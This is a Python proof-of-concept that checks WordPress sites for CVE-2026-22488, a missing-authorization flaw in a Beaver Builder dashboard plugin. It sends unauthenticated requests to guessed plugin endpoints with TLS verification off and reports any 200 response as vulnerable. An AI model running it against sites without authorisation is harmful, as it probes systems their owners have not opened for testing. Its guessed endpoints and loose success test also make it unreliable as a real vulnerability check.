CVE-2026-22488

# CVE-2026-22488 PoC - Missing Authorization in Dashboard Welcome for Beaver Builder # This PoC demonstrates the access control vulnerability import requests import sys TARGET_URL = "https://vulnerable-site.com" CVE_ID = "CVE-2026-22488" def check_vulnerability(): """ Check if the target WordPress site is vulnerable to CVE-2026-22488 Missing Authorization in Dashboard Welcome for Beaver Builder plugin """ # Common WordPress plugin endpoints that might be affected potential_endpoints = [ "/wp-json/dashboard-welcome/v1/settings", "/wp-admin/admin-ajax.php?action=dashboard_welcome_get_data", "/wp-admin/admin-ajax.php?action=dashboard_welcome_save_settings", "/wp-json/dashboard-welcome/v1/data", "/?rest_route=/dashboard-welcome/v1/settings" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-22488-PoC", "Content-Type": "application/json" } print(f"[*] Testing target: {TARGET_URL}") print(f"[*] CVE: {CVE_ID}") print(f"[*] Vulnerability: Missing Authorization (Broken Access Control)") print("-" * 60) vulnerable = False for endpoint in potential_endpoints: url = TARGET_URL + endpoint try: # Send unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if endpoint responds without authentication if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") vulnerable = True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} (Status: {response.status_code})") else: print(f"[*] Unknown: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error testing {url}: {e}") print("-" * 60) if vulnerable: print(f"[!] Target is VULNERABLE to {CVE_ID}") print("[!] Recommendation: Update Dashboard Welcome for Beaver Builder to version > 1.0.8") return True else: print(f"[*] Target appears NOT vulnerable to {CVE_ID}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability()

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